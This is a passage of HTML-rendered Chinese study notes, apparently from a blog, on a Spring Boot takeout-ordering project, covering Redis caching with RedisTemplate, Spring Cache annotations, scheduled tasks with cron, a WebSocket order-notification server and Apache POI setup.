class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">$&#123;sky.redis.host&#125;</span>       <span class="comment"># localhost</span></span><br><span class="line">    <span class="attr">port:</span> <span class="string">$&#123;sky.redis.port&#125;</span>       <span class="comment"># 6379</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">$&#123;sky.redis.password&#125;</span>  <span class="comment"># 123456</span></span><br><span class="line">    <span class="attr">database:</span> <span class="string">$&#123;sky.redis.database&#125;</span>  <span class="comment"># 10（使用第10号数据库）</span></span><br><span class="line"><span class="attr">sky:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">password:</span> <span class="number">123456</span></span><br><span class="line">    <span class="attr">database:</span> <span class="number">10</span></span><br></pre></td></tr></table></figure><h4 id="3-3-编写配置类，创建RedisTemplate对象"><a href="#3-3-编写配置类，创建RedisTemplate对象" class="headerlink" title="3.3 编写配置类，创建RedisTemplate对象"></a>3.3 编写配置类，创建RedisTemplate对象</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisConfiguration</span> &#123;</span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisTemplate <span class="title function_">redisTemplate</span><span class="params">(RedisConnectionFactory redisConnectionFactory)</span> &#123;</span><br><span class="line">        <span class="type">RedisTemplate</span> <span class="variable">redisTemplate</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisTemplate</span>();</span><br><span class="line">        <span class="comment">//创建redis的连接工厂对象</span></span><br><span class="line">        redisTemplate.setConnectionFactory(redisConnectionFactory);</span><br><span class="line">        <span class="comment">// 设置 key 的序列化器为 String，避免 key 在 Redis 中显示为乱码</span></span><br><span class="line">        redisTemplate.setKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        <span class="keyword">return</span> redisTemplate;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-4-通过RedisTemplate对象操作Redis"><a href="#3-4-通过RedisTemplate对象操作Redis" class="headerlink" title="3.4 通过RedisTemplate对象操作Redis"></a>3.4 通过RedisTemplate对象操作Redis</h4><h5 id="场景一：存储店铺营业状态（简单键值对）"><a href="#场景一：存储店铺营业状态（简单键值对）" class="headerlink" title="场景一：存储店铺营业状态（简单键值对）"></a>场景一：存储店铺营业状态（简单键值对）</h5><p>业务需求 ：B端管理员设置店铺状态（营业&#x2F;打烊），C端用户查看店铺状态。这是一个简单值，不需要查数据库。</p><p>B端 - 设置 ： admin&#x2F;ShopController.java ：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PutMapping(&quot;/&#123;status&#125;&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result <span class="title function_">setStatus</span><span class="params">(<span class="meta">@PathVariable</span> Integer status)</span> &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(<span class="string">&quot;SHOP_STATUS&quot;</span>, status);</span><br><span class="line">    <span class="keyword">return</span> Result.success();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>C端 - 读取 ： user&#x2F;ShopController.java ：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/status&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;Integer&gt; <span class="title function_">getStatus</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">Integer</span> <span class="variable">status</span> <span class="operator">=</span> (Integer) redisTemplate.opsForValue().get(<span class="string">&quot;SHOP_STATUS&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> Result.success(status);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="场景二：缓存菜品列表（手动缓存模式）"><a href="#场景二：缓存菜品列表（手动缓存模式）" class="headerlink" title="场景二：缓存菜品列表（手动缓存模式）"></a>场景二：缓存菜品列表（手动缓存模式）</h5><p>业务需求 ：C端用户按分类浏览菜品。菜品数据不常变，但访问频率高，缓存起来避免每次查数据库。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/list&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;List&lt;DishVO&gt;&gt; <span class="title function_">list</span><span class="params">(Long categoryId)</span> &#123;</span><br><span class="line">    <span class="comment">// ① 构造 Redis key：dish_分类id</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;dish_&quot;</span> + categoryId;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ② 先查 Redis 缓存</span></span><br><span class="line">    List&lt;DishVO&gt; list = (List&lt;DishVO&gt;) redisTemplate.opsForValue().get(key);</span><br><span class="line">    <span class="keyword">if</span> (list != <span class="literal">null</span> &amp;&amp; list.size() &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.success(list);  <span class="comment">// 缓存命中，直接返回</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ③ 缓存未命中，查数据库</span></span><br><span class="line">    <span class="type">Dish</span> <span class="variable">dish</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Dish</span>();</span><br><span class="line">    dish.setCategoryId(categoryId);</span><br><span class="line">    dish.setStatus(StatusConstant.ENABLE);</span><br><span class="line">    list = dishService.listWithFlavor(dish);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ④ 写入 Redis 缓存</span></span><br><span class="line">    redisTemplate.opsForValue().set(key, list);</span><br><span class="line">    <span class="keyword">return</span> Result.success(list);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-注意事项"><a href="#4-注意事项" class="headerlink" title="4 注意事项"></a>4 注意事项</h3><p>当对数据库中数据进行修改后没有在缓存中进行更新，会导致两边数据不一样，所以需要对缓存进行删除。</p><h2 id="Spring-cache"><a href="#Spring-cache" class="headerlink" title="Spring cache"></a>Spring cache</h2><h3 id="1-什么是Spring-cache"><a href="#1-什么是Spring-cache" class="headerlink" title="1 什么是Spring cache"></a>1 什么是Spring cache</h3><p>Spring Cache 是 Spring 框架提供的一套 缓存抽象层 。它不是具体的缓存实现，而是一套统一的 API 和注解，让你在 不<strong>关心底层用什么缓存技术</strong> 的情况下，用声明式注解完成缓存操作。</p><p>Spring cache相当于一种缓存服务调用规则，可以使用多种存储后端</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 用 Redis 做后端 → Spring Cache 注解 → 数据存到 Redis</span></span><br><span class="line"><span class="comment">// 用 Caffeine 做后端 → Spring Cache 注解 → 数据存到本地内存</span></span><br><span class="line"><span class="comment">// 用 EhCache 做后端 → Spring Cache 注解 → 数据存到本地文件</span></span><br></pre></td></tr></table></figure><h3 id="2-为什么要使用Spring-Cache"><a href="#2-为什么要使用Spring-Cache" class="headerlink" title="2 为什么要使用Spring Cache"></a>2 为什么要使用Spring Cache</h3><p>相比通过RedisTemplate对象操作Redis，每种缓存场景都要进行:查缓存-&gt;判断-&gt;查数据库-&gt;写缓存的过程，使用Spring Cache一个注解就可以自动完成:</p><ul><li>第一次调用：执行方法 → 返回值自动存入 Redis</li><li>后续调用：直接从 Redis 取，方法体不执行</li></ul><h3 id="3-如何使用Spring-Cache"><a href="#3-如何使用Spring-Cache" class="headerlink" title="3 如何使用Spring Cache"></a>3 如何使用Spring Cache</h3><h4 id="3-1-开启缓存功能"><a href="#3-1-开启缓存功能" class="headerlink" title="3.1 开启缓存功能"></a>3.1 开启缓存功能</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@SpringBootApplication</span></span><br><span class="line"><span class="meta">@EnableCaching</span>  <span class="comment">// 开启 Spring Cache 注解功能</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SkyApplication</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        SpringApplication.run(SkyApplication.class, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-2-使用-Cacheable缓存查询结果"><a href="#3-2-使用-Cacheable缓存查询结果" class="headerlink" title="3.2 使用@Cacheable缓存查询结果"></a>3.2 使用<code>@Cacheable</code>缓存查询结果</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/list&quot;)</span></span><br><span class="line"><span class="meta">@Cacheable(cacheNames = &quot;setmealCache&quot;, key = &quot;#categoryId&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Result&lt;List&lt;Setmeal&gt;&gt; <span class="title function_">list</span><span class="params">(Long categoryId)</span> &#123;</span><br><span class="line">    <span class="comment">// 第一次请求：执行方法体，返回值自动缓存</span></span><br><span class="line">    <span class="comment">// 后续请求：方法体不执行，直接返回缓存值</span></span><br><span class="line">    <span class="type">Setmeal</span> <span class="variable">setmeal</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Setmeal</span>();</span><br><span class="line">    setmeal.setCategoryId(categoryId);</span><br><span class="line">    setmeal.setStatus(StatusConstant.ENABLE);</span><br><span class="line">    List&lt;Setmeal&gt; list = setmealService.list(setmeal);</span><br><span class="line">    <span class="keyword">return</span> Result.success(list);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="3-3-CacheEvict清除缓存"><a href="#3-3-CacheEvict清除缓存" class="headerlink" title="3.3@CacheEvict清除缓存"></a>3.3<code>@CacheEvict</code>清除缓存</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@DeleteMapping</span></span><br><span class="line"><span class="meta">@CacheEvict(cacheNames = &quot;setmealCache&quot;, allEntries = true)</span>  <span class="comment">// 清空整个 setmealCache</span></span><br><span class="line"><span class="keyword">public</span> Result <span class="title function_">delete</span><span class="params">(<span class="meta">@RequestParam</span> List&lt;Long&gt; ids)</span> &#123;</span><br><span class="line">    setmealService.deleteBatch(ids);</span><br><span class="line">    <span class="keyword">return</span> Result.success();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-Spring-Cache核心注解"><a href="#4-Spring-Cache核心注解" class="headerlink" title="4 Spring Cache核心注解"></a>4 Spring Cache核心注解</h3><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=OGM5OWViYzY0Yzk3MzEyNzVjNGViNjA2Zjg2NmRhMjVfNkhvN3dGa0RKSzdBRURWMllaeXRad1RqSFIzaWZlczZfVG9rZW46SnRYZ2JNcTdibzhMUTF4RDVqemNuaVRibnFmXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h3 id="5-注解属性"><a href="#5-注解属性" class="headerlink" title="5 注解属性"></a>5 注解属性</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Cacheable(</span></span><br><span class="line"><span class="meta">    cacheNames = &quot;setmealCache&quot;,   // 缓存命名空间，最终 Redis key 是 &quot;setmealCache::10&quot;</span></span><br><span class="line"><span class="meta">    key = &quot;#categoryId&quot;,           // SpEL 表达式，指定缓存的 key</span></span><br><span class="line"><span class="meta">    condition = &quot;#categoryId &gt; 0&quot;, // 条件：只有满足条件才缓存</span></span><br><span class="line"><span class="meta">    unless = &quot;#result == null&quot;     // 排除条件：结果为 null 时不缓存</span></span><br><span class="line"><span class="meta">)</span></span><br></pre></td></tr></table></figure><h2 id="Spring-Task"><a href="#Spring-Task" class="headerlink" title="Spring Task"></a>Spring Task</h2><p>SpringTask是Spring框架下提供的定时任务工具，使用它可以定时处理一些任务，在本项目中商户订单状态定时处理使用了这一工具。</p><h3 id="1-什么是Spring-Task"><a href="#1-什么是Spring-Task" class="headerlink" title="1 什么是Spring Task"></a>1 什么是Spring Task</h3><p>Spring Task是Spring框架提供的任务调度工具，可以按照约定的时间自动执行某个代码逻辑。</p><p>定时任务的执行时间是由Cron表达式来确定的。</p><h3 id="2-Cron表达式"><a href="#2-Cron表达式" class="headerlink" title="2 Cron表达式"></a>2 Cron表达式</h3><p>cron表达式其实就是一个字符串，通过cron表达式可以定义任务触发的时间</p><p>构成规则：分为6或7个域，由空格分隔开，每个域代表一个含义</p><p>每个域的含义分别为：秒分钟、小时、日、月、周、年(可选)</p><p>可以使用Cron表达式在线生成器来生成</p><p><a href="https://cron.ciding.cc/">https://cron.ciding.cc/</a></p><h3 id="3-怎么使用Spring-Task"><a href="#3-怎么使用Spring-Task" class="headerlink" title="3 怎么使用Spring Task"></a>3 怎么使用Spring Task</h3><h4 id="①-导入maven坐标-spring-context-已存在"><a href="#①-导入maven坐标-spring-context-已存在" class="headerlink" title="① 导入maven坐标 spring-context(已存在)"></a>① 导入maven坐标 spring-context(已存在)</h4><h4 id="②-启动类添加注解-EnableScheduling-开启任务调度"><a href="#②-启动类添加注解-EnableScheduling-开启任务调度" class="headerlink" title="② 启动类添加注解@EnableScheduling 开启任务调度"></a>② 启动类添加注解@EnableScheduling 开启任务调度</h4><h4 id="③-自定义定时任务类"><a href="#③-自定义定时任务类" class="headerlink" title="③ 自定义定时任务类"></a>③ 自定义定时任务类</h4><p><img src="https://dcnw1u3llvkd.feishu.cn/space/api/box/stream/download/asynccode/?code=MGIyMjlhMTY2YjY1ZDc1NDVmMTRmM2ZhMDg4ZTg1OTZfTDdFVDlGYVdmNGpnMmpxdVlaZ1hGQzhYck9YTmMzUGlfVG9rZW46T28xMmJMdDBYb3QyOG94b3lLS2NCMHEwbmJkXzE3ODczMjI3MTA6MTc4NzMyNjMxMF9WNA&add_watermark=true&scene_type=CCM" alt="img"></p><h2 id="WebSocket"><a href="#WebSocket" class="headerlink" title="WebSocket"></a>WebSocket</h2><p>WebSocket是一种协议，通过协议可以实现客户端和用户端数据进行双向传递，基于WebSocket可以向客户端推送消息，本项目中用户催单提醒和来单提醒使用了该协议。</p><h3 id="1-什么是WebSocket"><a href="#1-什么是WebSocket" class="headerlink" title="1 什么是WebSocket"></a>1 什么是WebSocket</h3><p>WebSokcet是基于TCP的一种新的网络协议。他实现了浏览器与服务器全双工通信-<strong>浏览器与服务器</strong>只需要完成一次握手，两者之间就可以创建持续性的连接并进行<strong>双向</strong>数据传输。</p><p>特点:双向连接、长连接</p><p>缺点:</p><p>•服务器长期维护长连接需要一定的成本</p><p>•各个浏览器支持程度不一</p><p>•WebSocket 是长连接，受网络限制比较大，需要处理好重连</p><p>应用场景:视频弹幕、网页聊天、体育实况更新、股票基金报价实时更新。</p><h3 id="2-本项目WebSocket具体使用"><a href="#2-本项目WebSocket具体使用" class="headerlink" title="2 本项目WebSocket具体使用"></a>2 本项目WebSocket具体使用</h3><p><strong>2.1 定义配置类，用于注册WebSocket的Bean</strong></p><p>通过WebSocket实现管理端页面和服务端向客户端推送消息</p><p>客户端发送请求建立连接，使用的协议是ws协议。</p><p>2.1.1 maven坐标</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-websocket<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>2.1.2 使用WebSocket组件，用于和客户端通信</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line">package com.<span class="property">sky</span>.<span class="property">websocket</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.<span class="property">springframework</span>.<span class="property">stereotype</span>.<span class="property">Component</span>;</span><br><span class="line"><span class="keyword">import</span> javax.<span class="property">websocket</span>.<span class="property">OnClose</span>;</span><br><span class="line"><span class="keyword">import</span> javax.<span class="property">websocket</span>.<span class="property">OnMessage</span>;</span><br><span class="line"><span class="keyword">import</span> javax.<span class="property">websocket</span>.<span class="property">OnOpen</span>;</span><br><span class="line"><span class="keyword">import</span> javax.<span class="property">websocket</span>.<span class="property">Session</span>;</span><br><span class="line"><span class="keyword">import</span> javax.<span class="property">websocket</span>.<span class="property">server</span>.<span class="property">PathParam</span>;</span><br><span class="line"><span class="keyword">import</span> javax.<span class="property">websocket</span>.<span class="property">server</span>.<span class="property">ServerEndpoint</span>;</span><br><span class="line"><span class="keyword">import</span> java.<span class="property">util</span>.<span class="property">Collection</span>;</span><br><span class="line"><span class="keyword">import</span> java.<span class="property">util</span>.<span class="property">HashMap</span>;</span><br><span class="line"><span class="keyword">import</span> java.<span class="property">util</span>.<span class="property">Map</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * WebSocket服务</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Component</span>    <span class="comment">//最后会交给spring容器处理</span></span><br><span class="line"><span class="meta">@ServerEndpoint</span>(<span class="string">&quot;/ws/&#123;sid&#125;&quot;</span>)  <span class="comment">//根据路径进行匹配，接收客户端请求</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebSocketServer</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//存放会话对象</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="title class_">Map</span>&lt;<span class="title class_">String</span>, <span class="title class_">Session</span>&gt; sessionMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 连接建立成功调用的方法</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@OnOpen</span><span class="comment">//回调方法，建立连接后调用</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">void</span> <span class="title function_">onOpen</span>(<span class="params"><span class="title class_">Session</span> session, <span class="meta">@PathParam</span>(<span class="string">&quot;sid&quot;</span>) <span class="title class_">String</span> sid</span>) &#123;<span class="comment">//路径参数，由服务端动态传入</span></span><br><span class="line">        <span class="title class_">System</span>.<span class="property">out</span>.<span class="title function_">println</span>(<span class="string">&quot;客户端：&quot;</span> + sid + <span class="string">&quot;建立连接&quot;</span>);</span><br><span class="line">        sessionMap.<span class="title function_">put</span>(sid, session);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 收到客户端消息后调用的方法</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> message 客户端发送过来的消息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@OnMessage</span><span class="comment">//收到客户端请求后调用该方法</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">void</span> <span class="title function_">onMessage</span>(<span class="params"><span class="title class_">String</span> message, <span class="meta">@PathParam</span>(<span class="string">&quot;sid&quot;</span>) <span class="title class_">String</span> sid</span>) &#123;</span><br><span class="line">        <span class="title class_">System</span>.<span class="property">out</span>.<span class="title function_">println</span>(<span class="string">&quot;收到来自客户端：&quot;</span> + sid + <span class="string">&quot;的信息:&quot;</span> + message);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 连接关闭调用的方法</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> <span class="variable">sid</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@OnClose</span><span class="comment">//连接关闭后调用该方法</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">void</span> <span class="title function_">onClose</span>(<span class="params"><span class="meta">@PathParam</span>(<span class="string">&quot;sid&quot;</span>) <span class="title class_">String</span> sid</span>) &#123;</span><br><span class="line">        <span class="title class_">System</span>.<span class="property">out</span>.<span class="title function_">println</span>(<span class="string">&quot;连接断开:&quot;</span> + sid);</span><br><span class="line">        sessionMap.<span class="title function_">remove</span>(sid);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 群发</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> <span class="variable">message</span></span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="built_in">void</span> <span class="title function_">sendToAllClient</span>(<span class="params"><span class="title class_">String</span> message</span>) &#123;</span><br><span class="line">        <span class="title class_">Collection</span>&lt;<span class="title class_">Session</span>&gt; sessions = sessionMap.<span class="title function_">values</span>();</span><br><span class="line">        <span class="keyword">for</span> (<span class="title class_">Session</span> session : sessions) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="comment">//服务器向客户端发送消息</span></span><br><span class="line">                session.<span class="title function_">getBasicRemote</span>().<span class="title function_">sendText</span>(message);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (<span class="title class_">Exception</span> e) &#123;</span><br><span class="line">                e.<span class="title function_">printStackTrace</span>();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>2.1.3 导入WebSocket配置类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.sky.config;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Bean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.socket.server.standard.ServerEndpointExporter;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * WebSocket配置类，用于注册WebSocket的Bean</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebSocketConfiguration</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> ServerEndpointExporter <span class="title function_">serverEndpointExporter</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ServerEndpointExporter</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>2.2 客户端浏览器解析服务端推送的消息</strong></p><p>判断是来单提醒还是客户存单，进行相应的消息提示和语音播报</p><p><strong>2.3 约定服务端发送给客户端浏览器的数据为JSON</strong></p><p>字段包括type,orderId,content</p><ul><li>type为订单类型，1为来单提醒 2为客户催单</li><li>orderId为订单id</li><li>content为消息内容</li></ul><h2 id="Apache-POI"><a href="#Apache-POI" class="headerlink" title="Apache POI"></a>Apache POI</h2><h3 id="1-什么是Apache-POI"><a href="#1-什么是Apache-POI" class="headerlink" title="1 什么是Apache POI"></a>1 什么是Apache POI</h3><p>Apache POI 是一个处理Miscrosoft Office各种文件格式的开源项目。简单来说就是，我们可以使用 POI 在Java 程</p><p>序中对Miscrosoft Office各种文件进行读写操作。</p><p>一般情况下，POI 都是用于操作 Excel 文件。</p><h3 id="2-Apache-POI的使用"><a href="#2-Apache-POI的使用" class="headerlink" title="2 Apache POI的使用"></a>2 Apache POI的使用</h3><p>配置依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.poi<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>poi<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.16<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.poi<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>poi-ooxml<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.16<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span 